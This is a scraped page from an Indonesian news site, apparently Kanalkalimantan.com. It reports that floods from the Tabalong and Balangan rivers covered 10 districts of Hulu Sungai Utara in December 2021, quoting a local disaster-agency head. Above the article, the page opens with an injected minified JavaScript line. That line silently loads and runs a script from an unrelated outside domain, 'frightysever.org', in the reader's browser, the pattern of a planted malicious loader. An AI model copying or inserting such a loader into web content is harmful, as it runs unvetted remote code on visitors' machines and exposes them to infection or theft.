(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN. COM, AMUNTAI – Akibat peningkatan debit air sungai Tabalong dan sungai Balangan yang bermuara di kota Amuntai, kini sudah 10 kecamatan di Kabupaten Hulu Sungai Utara (HSU) terendam banjir.
Hal itu diakui Kepala Pelaksana Harian (Kalak) Badan Penanggulangan Bencana Daerah (BPBD) HSU Sugeng Riyadi saat menggelar rapat koordinasi bersama para camat dan lurah di Posko Tanggap Darurat Siring Itik, Rabu (1/12/2021)sore.
“Hari ini sangat jauh berbeda kondisinya dengan kemarin, jadi kondisinya 10 kecamatan yang ada di HSU sudah tersentuh banjir mulai dari persentase kecil, hingga ada yang 90% sudah terdampak, maka dari itulah hari ini kita lakukan koordinasi dengan masing-masing camat,” jelas Sugeng Riyadi kepada Kanalkalimantan.com.
Dirinya menambahkan dengan kondisi sekarang 10 kecamatan terdampak banjir, sudah sangat layak untuk meningkatkan status dari siaga darurat menjadi tanggap darurat.
“Rencananya besok kami juga akan lakukan rapat koordinasi untuk menaikan status ke tanggap darurat mengingat kondisi saat ini daerah perkotaan serta desa-desa sudah terendam banjir,” imbuhnya.
Salah satu ruas jalan utama di kota Amuntai yang terendam air, Rabu (1/12/2021). Foto : dew
Baca juga : Anggaran Dekranasda Banjarbaru Yang Disahkan Kini Dipersoalkan, Fraksi Golkar: Harus Tau Berdemokrasi!
Dia berharap untuk debit air yang mengancam HSU tidak mengalami kenaikan, baik dari curah hujan ataupun air kiriman.
“Tentu kita berharap grafiknya ini semakin turun, dengan catatan di daerah hulu atau di atas kita juga tidak terjadi curah hujan yang signifikan, saya juga harapkan kerja sama seluruh elemen masyarakat untuk benar-benar bekerjasama pada kondisi saat ini, salah satunya untuk gotong royong baik antara aparat desa ataupun masyarakat menjaga kebersihan saluran air agar jalur mengalirnya lancar,” ungkap Sugeng
Kalak BPBD HSU juga mengimbau kepada masyarakat untuk berhati-hati atau menjaga diri serta keluarga pada saat banjir melanda.
“Kita perlu sampaikan bahwa kondisi seperti ini kita harus lebih waspada, bagi warga yang punya anak harap dampingi anaknya agar lebih berhati-hati, dan juga bagi warga yang rumahnya terendam banjir harap lebih waspada terhadap jaringan listrik agar tidak sampai terendam,” ingat Sugeng. (kanalkalimantan.com/dew)
Reporter : dew
Editor : bie
Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More
KANALKALIMANTAN.COM, BATULICIN - Meski tanpa pertunjukan pesta kembang api, malam pergantian tahun 2025 ke 2026… Read More
KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru mengumumkan Upah Minimum Kota (UMK) berdasarkan Keputusan Gubernur… Read More
KANALKALIMANTAN.COM, AMUNTAI – Bupati Hulu Sungai Utara (HSU) H Sahrujani mengharapkan agar Kabupaten HSU pada… Read More
KANALKALIMANTAN.COM, PALANGKARAYA - Persatuan Wartawan Indonesia (PWI) Provinsi Kalimantan Tengah menggelar Konferensi Kerja Daerah (Konferda)… Read More
This website uses cookies.